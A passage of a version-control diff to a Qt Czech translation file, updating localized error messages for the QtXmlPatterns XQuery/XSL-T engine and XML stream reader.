</message>
<message>
- <location line="-1021"/>
<source>Invalid entity value.</source>
<translation>neplatná hodnota entity.</translation>
</message>
<message>
- <location line="+930"/>
<source>Encoding %1 is unsupported</source>
<translation>Kódování %1 není podporováno</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+707"/>
<source>NDATA in parameter entity declaration.</source>
<translation>Parametrické prohlášení entitynesmí obsahovat žádné NDATA.</translation>
</message>
@@ -7890,62 +8330,50 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QtXmlPatterns</name>
<message>
- <location filename="../src/xmlpatterns/expr/qcommentconstructor.cpp" line="+67"/>
<source>A comment cannot contain %1</source>
<translation>Poznámka nesmí obsahovat %1</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+3726"/>
<source>Version %1 is not supported. The supported XQuery version is 1.0.</source>
<translation>Verze %1 není podporována. Podporovanou verzí XQuery je 1.0.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qcontextnodechecker.cpp" line="+54"/>
<source>The root node of the second argument to function %1 must be a document node. %2 is not a document node.</source>
<translation>Nadřízený uzel druhého agumentu funkce %1 musí být uzlem dokumentu, což není případ %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qtemplate.cpp" line="+145"/>
<source>The parameter %1 is required, but no corresponding %2 is supplied.</source>
<translation>Nebyl zadán žádný odpovídající %2 pro potřebný parametr %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+163"/>
<source>Namespace declarations must occur before function, variable, and option declarations.</source>
<translation>Prohlášení jmenných prostorů musí stát před prohlášeními funkcí-, proměnných- nebo prohlášeními voleb.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/type/qcardinality.cpp" line="+55"/>
<source>empty</source>
<translation>prázdný</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+2895"/>
<source>The namespace URI cannot be the empty string when binding to a prefix, %1.</source>
<translation>Jmenný prostor-URI nesmí být prázdný, když je spojen s prefixem %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qcommentconstructor.cpp" line="+6"/>
<source>A comment cannot end with a %1.</source>
<translation>Poznámka nesmí končit na %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+2437"/>
<source>Top level stylesheet elements must be in a non-null namespace, which %1 isn&apos;t.</source>
<translation>Úplně nahoře stojící prvky prováděcího listu se nesmí nacházet v nulovém jmenném prostoru, což je případ %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qatomicmathematicians.cpp" line="+65"/>
<source>Integer division (%1) by zero (%2) is undefined.</source>
<translation>Celočíselné dělení (%1) nulou (%2) není stanoveno.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qexpressionfactory.cpp" line="+162"/>
<source>A library module cannot be evaluated directly. It must be imported from a main module.</source>
<translation>Knihovní modul nemůže být posouzen přímo, musí být zaveden z hlavního modulu.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qabstractdatetime.cpp" line="+187"/>
<source>Time %1:%2:%3.%4 is invalid.</source>
<translation>Časový údaj %1:%2:%3.%4 je neplatný.</translation>
</message>
@@ -7954,37 +8382,30 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Prvek %2 může mít pouze obvyklé vlastnosti, ne však %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qhexbinary.cpp" line="+91"/>
<source>A value of type %1 must contain an even number of digits. The value %2 does not.</source>
<translation>Počet míst hodnoty typu %1 musí být stejný. To není případ %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qatomicmathematicians.cpp" line="+14"/>
<source>Modulus division (%1) by zero (%2) is undefined.</source>
<translation>Dělení absolutní hodnoty (%1) nulou(%2) není stanoveno.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-2987"/>
<source>No function with signature %1 is available</source>
<translation>Neexistuje žádná funkce označená jako %1</translation>
</message>
<message>
- <location line="+2154"/>
<source>None of the pragma expressions are supported. Therefore, a fallback expression must be present</source>
<translation>Musí být přítomen záložní výraz, neboť nejsou podporovány žádné věcné výrazy</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qpatternmatchingfns.cpp" line="+159"/>
<source>In the replacement string, %1 can only be used to escape itself or %2, not %3</source>
<translation>V nahrazení může být použit pouze %1, aby se chránil sám, nebo %2, ne však pro %3</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/acceltree/qacceltreeresourceloader.cpp" line="+378"/>
<source>The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.</source>
<translation>Kódovací bod %1 z %2 s kódováním %3 není platným znakem XML.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/api/qiodevicedelegate.cpp" line="+84"/>
<source>Network timeout.</source>
<translation>Časový limit síťové operace byl překročen.</translation>
</message>
@@ -7993,33 +8414,26 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Nelze provádět žádné výběrové (&quot;cast&quot;) operace s typem %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-1567"/>
<source>The Schema Import feature is not supported, and therefore %1 declarations cannot occur.</source>
<translation>Prohlášení %1 je nepřípustné, protože není podporováno zavedení schémat.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="-1676"/>
<source>Attribute %1 and %2 are mutually exclusive.</source>
<translation>Vlastnosti %1 a %2 se vzájemně vylučující.</translation>
</message>
<message>
- <location line="-213"/>
<source>Parse error: %1</source>
<translation>Chyba vyhodnocení: %1</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qqnamefns.cpp" line="+86"/>
<source>If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.</source>
<translation>Nelze zadat žádnou předponu, jestliže je první argument prázdný nebo je prázdný řetězec znaků (žádný jmenný prostor). Byla zadána předpona %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+497"/>
<source>In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.</source>
<translation>V XSL-T vyhledávacím vzoru musí být první argument k funkci %1 při použití k hledání odkaz tvořený písmeny nebo proměnný.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qabstractduration.cpp" line="+99"/>
- <location line="+15"/>
<source>At least one component must be present.</source>
<translation>Alespoň jedna součást musí být přítomna.</translation>
</message>
@@ -8028,67 +8442,54 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Ve staviteli jmenného prostoru nesmí mýt hodnota jmenného prostoru prázdným řetězcem.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/utils/qoutputvalidator.cpp" line="+93"/>
<source>An attribute by name %1 has already been created.</source>
<translation>Již byla vytvořena jedna vlastnost s názvem %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-204"/>
<source>An argument by name %1 has already been declared. Every argument name must be unique.</source>
- <translation>Již existuje jeden argument s názvem %1. Názvy argumentů musí být jednoznačné.</translation>
+ <translation type="obsolete">Již existuje jeden argument s názvem %1. Názvy argumentů musí být jednoznačné.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qpatternplatform.cpp" line="+236"/>
<source>%1 is an invalid flag for regular expressions. Valid flags are:</source>
<translation>%1 není pro regulérní výrazy platným příznakem. Platnými příznaky jsou:</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+673"/>
<source>At least one %1-element must occur inside %2.</source>
<translation>V %2 se musí vyskytovat alespoň jeden %1-prvek.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/utils/qxpathhelper_p.h" line="+120"/>
<source>Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.</source>
<translation>Je podporován pouze Unicode Codepoint Collation (%1). %2 není podporován.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qpatternplatform.cpp" line="-134"/>
<source>Matches are case insensitive</source>
<translation>Na psaní velkých/malých písmen není brán zřetel</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+3057"/>
<source>The name of an extension expression must be in a namespace.</source>
<translation>Název výrazu rozšíření se musí nacházet ve jmenném prostoru.</translation>
</message>
<message>
- <location line="-1514"/>
<source>Each name of a template parameter must be unique; %1 is duplicated.</source>
<translation>Názvy parametrů předloh musí být jednoznačné, %1 již existuje.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="-185"/>
<source>At least one mode must be specified in the %1-attribute on element %2.</source>
<translation>Ve %1-vlastnosti prvku %2 musí být zadán alespoň jeden způsob.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qpatternplatform.cpp" line="-10"/>
<source>%1 matches newline characters</source>
<translation>Výraz &apos;%1&apos; odpovídá znakům pro nový řádek</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qabstractdatetime.cpp" line="-107"/>
<source>Year %1 is invalid because it begins with %2.</source>
<translation>%1 není platným údajem pro rok, protože začíná %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qaggregatefns.cpp" line="+285"/>
<source>The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</source>
<translation>Druhý argument %1 nemůže být typ %2. Musí to být typ %3, %4 nebo %5.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+651"/>
<source>Element %1 cannot have children.</source>
<translation>Prvek %1 nemůže mít podprvky.</translation>
</message>
@@ -8097,42 +8498,34 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Prvek %2 může mít jen vlastnost %3 nebo vlastnosti, které jsou obvyklé, ne však %1.</translation>
</message>
<message>
- <location line="-497"/>
<source>Only one %1-element can appear.</source>
<translation>Může být jen jeden jediný %1-prvek.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qattributenamevalidator.cpp" line="+75"/>
<source>The name for a computed attribute cannot have the namespace URI %1 with the local name %2.</source>
<translation>Název počítané vlastnosti nesmí mít jmenný prostor-URI %1 s místním názvem %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qgenericpredicate.cpp" line="+138"/>
<source>A positional predicate must evaluate to a single numeric value.</source>
<translation>Poziční přísudek se musí vyhodnotit jako jednoduchá, číselná hodnota.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/api/qxmlserializer.cpp" line="+320"/>
<source>Element %1 can&apos;t be serialized because it appears outside the document element.</source>
<translation>Prvek %1 nemůže být vydáván na pokračování, protože se objevuje mimo prvky dokumentu.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qpatternplatform.cpp" line="+4"/>
<source>%1 and %2 match the start and end of a line.</source>
<translation>Výrazy %1 a %2 vždy odpovídají začátku nebo konci libovolného řádku.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="-560"/>
<source>Running an XSL-T 1.0 stylesheet with a 2.0 processor.</source>
<translation>Je zpracováván jeden XSL-T 1.0 stylový list jedním procesorem verze 2.0.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-1667"/>
<source>A stylesheet function must have a prefixed name.</source>
<translation>Název funkce stylového listu musí mít předponu.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qsequencegeneratingfns.cpp" line="+279"/>
<source>%1 cannot be retrieved</source>
<translation>%1 nelze určit</translation>
</message>
@@ -8141,42 +8534,34 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Nelze provést operaci předvedení hodnoty %1 typu %2 k %3</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="-20"/>
<source>The value of the XSL-T version attribute must be a value of type %1, which %2 isn&apos;t.</source>
<translation>Hodnota XSL-T vlastnosti verze musí být hodnotou typu %1, což není případ %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qcomputednamespaceconstructor.cpp" line="+69"/>
<source>In a namespace constructor, the value for a namespace cannot be an empty string.</source>
<translation>Ve staviteli jmenného prostoru nesmí mýt hodnota jmenného prostoru prázdným řetězcem.</translation>
</message>
<message>
- <location line="+25"/>
<source>The prefix %1 cannot be bound.</source>
<translation>Předponu %1 nelze spojit.</translation>
</message>
<message>
- <location line="-14"/>
<source>The prefix must be a valid %1, which %2 is not.</source>
<translation>Předpona musí být platný %1, což není případ %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-551"/>
<source>The keyword %1 cannot occur with any other mode name.</source>
<translation>Klíčové slovo %1 se nemůže používat dohromady s jiným názvem způsobu.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qcastas.cpp" line="+88"/>
<source>Type error in cast, expected %1, received %2.</source>
<translation>Chyba psaní u operace předvedení, bylo očekáváno %1, ale přijato %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-3555"/>
<source>%1 is not a valid numeric literal.</source>
<translation>%1 není platný číselný údaj tvořený písmeny.</translation>
</message>
<message numerus="yes">
- <location filename="../src/xmlpatterns/functions/qabstractfunctionfactory.cpp" line="+77"/>
<source>%1 takes at most %n argument(s). %2 is therefore invalid.</source>
<translation>
<numerusform>%1 má jen %n argument; údaj %2 z tohoto důvodu neplatný.</numerusform>
@@ -8189,36 +8574,30 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">byla zjištěna cirkulární závislost</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+3971"/>
<source>A variable by name %1 has already been declared.</source>
- <translation>Proměnná s názvem %1 již byla prohlášena.</translation>
+ <translation type="obsolete">Proměnná s názvem %1 již byla prohlášena.</translation>
</message>
<message>
- <location line="-312"/>
<source>The prefix %1 can not be bound. By default, it is already bound to the namespace %2.</source>
- <translation>Předpona %1 nemůže být spojena. Ve výchozím nastavení je již spojena se jmenným prostorem %2.</translation>
+ <translation type="obsolete">Předpona %1 nemůže být spojena. Ve výchozím nastavení je již spojena se jmenným prostorem %2.</translation>
</message>
<message>
<source>An %1-attribute must have a valid %2 as value, which %3 isn&apos;t.</source>
<translation type="obsolete">Vlastnost s názvem %1 musí mít platnou %2-hodnotu. %3 není platnou hodnotou.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+389"/>
<source>If element %1 has no attribute %2, it cannot have attribute %3 or %4.</source>
<translation>Prvek %1 nesmí mít vlastnost %3 nebo %4, pokud nemá vlastnost %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+511"/>
<source>A function already exists with the signature %1.</source>
<translation>Již existuje funkce s podpisem %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qatomiccasters_p.h" line="+223"/>
<source>When casting to %1 from %2, the source value cannot be %3.</source>
<translation>U operace předvedení z %1 do %2 nesmí být zdrojová hodnota %3.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/api/qxmlserializer.cpp" line="+60"/>
<source>Attribute %1 can&apos;t be serialized because it appears at the top level.</source>
<translation>Vlastnost %1 nemůže být vydáván na pokračování, protože se objevuje na nejvyšší rovině.</translation>
</message>
@@ -8227,42 +8606,34 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">S typem %1 nemohou být prováděny žádné srovnávací operace.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-160"/>
<source>No value is available for the external variable by name %1.</source>
- <translation>Pro vnější proměnnou s názvem %1 není dostupná žádná hodnota.</translation>
+ <translation type="obsolete">Pro vnější proměnnou s názvem %1 není dostupná žádná hodnota.</translation>
</message>
<message>
- <location line="-426"/>
<source>The value of attribute %1 must of type %2, which %3 isn&apos;t.</source>
- <translation>Hodnota vlastnosti %1 musí být typu %2. %3 není platnou hodnotou.</translation>
+ <translation type="obsolete">Hodnota vlastnosti %1 musí být typu %2. %3 není platnou hodnotou.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/janitors/qitemverifier.cpp" line="+67"/>
<source>The item %1 did not match the required type %2.</source>
<translation>Prvek %1 neodpovídá požadovanému typu %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+1122"/>
<source>Element %1 cannot have a sequence constructor.</source>
<translation>Prvek %1 nemůže mít stavitele posloupnosti.</translation>
</message>
<message>
- <location line="-842"/>
<source>When attribute %1 is present on %2, a sequence constructor cannot be used.</source>
<translation>Nelze používat žádného stavitele posloupnosti, když %2 má vlastnost %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/type/qcardinality.cpp" line="+6"/>
<source>one or more</source>
<translation>jeden nebo více</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-289"/>
<source>The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.</source>
<translation>Kódování %1 je neplatné; smí sestávat pouze z latinských písmen a musí odpovídat pravidelnéu výrazu %2.</translation>
</message>
<message numerus="yes">
- <location filename="../src/xmlpatterns/functions/qabstractfunctionfactory.cpp" line="+11"/>
<source>%1 requires at least %n argument(s). %2 is therefore invalid.</source>
<translation>
<numerusform>%1 vyžaduje alespoň %n argument; údaj %2 je z toho důvodu neplatný.</numerusform>
@@ -8271,38 +8642,30 @@ Zvolte, prosím, pro soubor jiný název.</translation>
</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qncnameconstructor_p.h" line="+113"/>
<source>The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, is %2 invalid.</source>
- <translation>%2 není platným cílovým názvem pokynu pro zpracování, protože tento nesmí být %1 (nehledě na psaní velkých/malých písmen).</translation>
+ <translation type="obsolete">%2 není platným cílovým názvem pokynu pro zpracování, protože tento nesmí být %1 (nehledě na psaní velkých/malých písmen).</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/type/qtypechecker.cpp" line="+156"/>
<source>The focus is undefined.</source>
<translation>Není stanoveno ohnisko.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-3390"/>
- <location line="+7323"/>
<source>%1 is an unknown schema type.</source>
<translation>%1 je neznámým typem schematu.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+1206"/>
<source>The value for attribute %1 on element %2 must either be %3 or %4, not %5.</source>
<translation>Hodnota vlastnosti %1 prvku %2 může být jen %3 nebo %4, ne však %5.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qpatternmatchingfns.cpp" line="-26"/>
<source>In the replacement string, %1 must be followed by at least one digit when not escaped.</source>
<translation>V nahrazovacím řetězci musí po %1 následovat alespoň jedna číslice, když není chráněn znakem Escape.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-2712"/>
<source>In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.</source>
<translation>V XSL-T vyhledávacím vzoru se smějí používat jen osy %2 nebo %3, ne však %1.</translation>
</message>
<message>
- <location line="-401"/>
<source>The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)</source>
<translation>Jmenný prostor uživatelem stanovené funkce nesmí být prázdný (pro tento účel je předstanovená předpona %1)</translation>
</message>
@@ -8311,67 +8674,66 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">První veličina, operand, celočíselného dělení %1 nesmí být nekonečno (%2).</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qanyuri_p.h" line="+132"/>
<source>%1 is not a valid value of type %2.</source>
<translation>%1 není platnou hodnotou typu %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qatomicmathematicians.cpp" line="+166"/>
<source>Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.</source>
<translation>Násobení hodnoty typu %1 s %2 nebo %3 (kladné nebo záporné nekonečno) není přípustné.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qparsercontext.cpp" line="+93"/>
<source>The variable %1 is unused</source>
<translation>Proměnná %1 se nepoužívá</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+1787"/>
<source>The %1-axis is unsupported in XQuery</source>
<translation>Osa %1 není v XQuery podporována</translation>
</message>
<message>
- <location line="+644"/>
+ <source>No function with name %1 is available.</source>
+ <translation>Neexistuje žádná funkce s názvem %1.</translation>
+ </message>
+ <message>
+ <source>An attribute with name %1 has already appeared on this element.</source>
+ <translation>Prvek má již vlastnost s názvem %1.</translation>
+ </message>
+ <message>
<source>A direct element constructor is not well-formed. %1 is ended with %2.</source>
<translation>Byl nalezen chybný stavitel přímého prvku. %1 končí %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qatomicmathematicians.cpp" line="-32"/>
<source>Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.</source>
<translation>Dělení hodnoty typu %1 prostřednictvím %2 nebo %3 (kladná nebo záporná nula) není přípustné.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+20"/>
<source>Attribute %1 cannot have the value %2.</source>
<translation>Vlastnost %1 nesmí mít hodnotu %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qsequencefns.cpp" line="+346"/>
<source>It will not be possible to retrieve %1.</source>
<translation>%1 nelze určit.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-2103"/>
<source>In an XSL-T pattern, function %1 cannot have a third argument.</source>
<translation>V XSL-T vyhledávacím vzoru nesmí mít funkce %1 třetí argument.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qattributenamevalidator.cpp" line="-9"/>
<source>The namespace URI in the name for a computed attribute cannot be %1.</source>
<translation>URI jmenného prostoru v názvu vypočítané vlastnosti nesmí být %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qncnameconstructor_p.h" line="+24"/>
+ <source>The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.</source>
+ <translation>Cílový název příkazu pro zpracování nemůže být %1 (nezávisle na psaní velkých/malých písmen). %2 je z toho důvodu neplatný.</translation>
+ </message>
+ <message>
<source>%1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.</source>
<translation>%1 není platným cílovým názvem pokynu pro zpracování. Musí to být hodnota %2 jakou je například %3.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+2571"/>
<source>%1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.</source>
<translation>%1 je složeným typem. Operace předvedení u složených typů není možná. Mohou se ovšem provádět operace obsazení u atomárních typů jako %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/type/qcardinality.cpp" line="-4"/>
<source>zero or one</source>
<translation>žádný nebo jeden</translation>
</message>
@@ -8384,33 +8746,26 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">V XSL-T neexistuje žádný prvek s místním názvem %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-634"/>
<source>Two namespace declaration attributes have the same name: %1.</source>
<translation>Byly nalezeny dvě vlastnosti prohlášení jmenného prostoru se stejným názvem (%1).</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qboolean.cpp" line="+78"/>
<source>Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.</source>
<translation>Skutečná Booleanská hodnota nemůže být vypočítána pro posloupnost ze dvou nebo více atomárních hodnot.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qqnameconstructor_p.h" line="+168"/>
- <location filename="../src/xmlpatterns/functions/qqnamefns.cpp" line="-17"/>
<source>%1 is an invalid %2</source>
<translation>%1 je neplatný %2</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qaggregatefns.cpp" line="-165"/>
<source>The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.</source>
<translation>První argument k %1 nesmí být typu %2; musí to být číselný typ, xs:yearMonthDuration nebo xs:dayTimeDuration.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qatomicmathematicians.cpp" line="-141"/>
<source>Division (%1) by zero (%2) is undefined.</source>
<translation>Dělení (%1) nulou (%2) není stanoveno.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qexpressionfactory.cpp" line="+40"/>
<source>No template by name %1 exists.</source>
<translation>Neexistuje žádná předloha s názvem %1.</translation>
</message>
@@ -8419,27 +8774,22 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Prvek %2 musí mít vlastnost %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+105"/>
<source>An attribute by name %1 has already appeared on this element.</source>
- <translation>Prvek má již vlastnost s názvem %1.</translation>
+ <translation type="obsolete">Prvek má již vlastnost s názvem %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qsequencegeneratingfns.cpp" line="-13"/>
<source>The default collection is undefined</source>
<translation>Pro sbírku není stanovena žádná předloha</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qcomputednamespaceconstructor.cpp" line="+24"/>
<source>Only the prefix %1 can be bound to %2 and vice versa.</source>
<translation>S %2 může být spojena pouze předpona %1 (a obráceně).</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qderivedinteger_p.h" line="+402"/>
<source>Value %1 of type %2 exceeds maximum (%3).</source>
<translation>Hodnota %1 typu %2 překračuje maximum (%3).</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qpatternplatform.cpp" line="+10"/>
<source>Whitespace characters are removed, except when they appear in character classes</source>
<translation>Prázdné znaky jsou odstraněny v případě, že se neobjeví ve znakových třídách</translation>
</message>
@@ -8448,113 +8798,90 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Nemohou se provádět žádné operace předvedení k typu %1, protože je to abstraktní typ ist a nelze je doložit příkladem.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qarithmeticexpression.cpp" line="+207"/>
<source>Operator %1 cannot be used on type %2.</source>
<translation>Operátor %1 nelze použít na typ %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-2361"/>
<source>The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.</source>
<translation>Jmenný prostor %1 je vyhrazen a z toho důvodu jej nemohou používat uživatelem stanovené funkce (pro tento účel je tu předstanovená předpona %2).</translation>
</message>
<message>
- <location line="-174"/>
<source>The target namespace of a %1 cannot be empty.</source>
<translation>Cílový jmenný prostor %1 nesmí být prázdný.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qpatternmatchingfns.cpp" line="-39"/>
<source>%1 must be followed by %2 or %3, not at the end of the replacement string.</source>
<translation>Po %1 musí následovat %2 nebo %3; nesmí se objevit na konci nahrazovacího řetězce.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+2394"/>
<source>%1 is an invalid namespace URI.</source>
<translation>%1 není platným jmenným prostorem-URI.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="-298"/>
- <location line="+9"/>
<source>The attribute %1 cannot appear on %2, when it is a child of %3.</source>
<translation>%2 nesmí mít vlastnost %1 v případě, že je potomkem %3.</translation>
</message>
<message>
- <location line="+347"/>
<source>The attribute %1 can only appear on the first %2 element.</source>
<translation>Pouze první %2-prvek smí mít vlastnost %1.</translation>
</message>
<message>
- <location line="-1271"/>
<source>Element %1 must have either a %2-attribute or a sequence constructor.</source>
<translation>Prvek %1 musí mít buď jednu %2-vlastnost nebo se musí používat stavitel posloupnosti.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-2891"/>
<source>Module imports must occur before function, variable, and option declarations.</source>
<translation>Zavedení modulů musí nastat před prohlášeními funkcí, proměnných a voleb.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qabstractdatetime.cpp" line="+19"/>
<source>Day %1 is outside the range %2..%3.</source>
<translation>Údaj dne %1 je mimo rozsah %2..%3.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/acceltree/qacceltreeresourceloader.cpp" line="-18"/>
<source>%1 contains octets which are disallowed in the requested encoding %2.</source>
<translation>%1 obsahuje oktety, které v kódování %2 nejsou přípustné.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+125"/>
<source>When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.</source>
<translation>Výchozí hodnota požadovaného parametru nemůže být zadána ani prostřednictvím %1-vlastnosti ani přes stavitele posloupnosti.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+967"/>
<source>In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.</source>
<translation>V XSL-T vyhledávacím vzoru musí být první argument k funkci %1 při použití k hledání řetězec tvořený písmeny.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="-889"/>
<source>Text nodes are not allowed at this location.</source>
